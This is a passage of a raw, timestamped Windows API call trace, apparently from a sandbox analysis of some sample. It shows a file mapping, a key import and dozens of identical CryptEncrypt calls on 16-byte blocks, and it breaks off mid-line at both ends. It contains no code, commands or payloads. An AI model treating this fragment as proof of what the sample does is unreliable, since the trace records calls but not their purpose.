dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.993] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.993] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f00) returned 1 [0127.994] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396e8) returned 1 [0127.994] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.994] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, 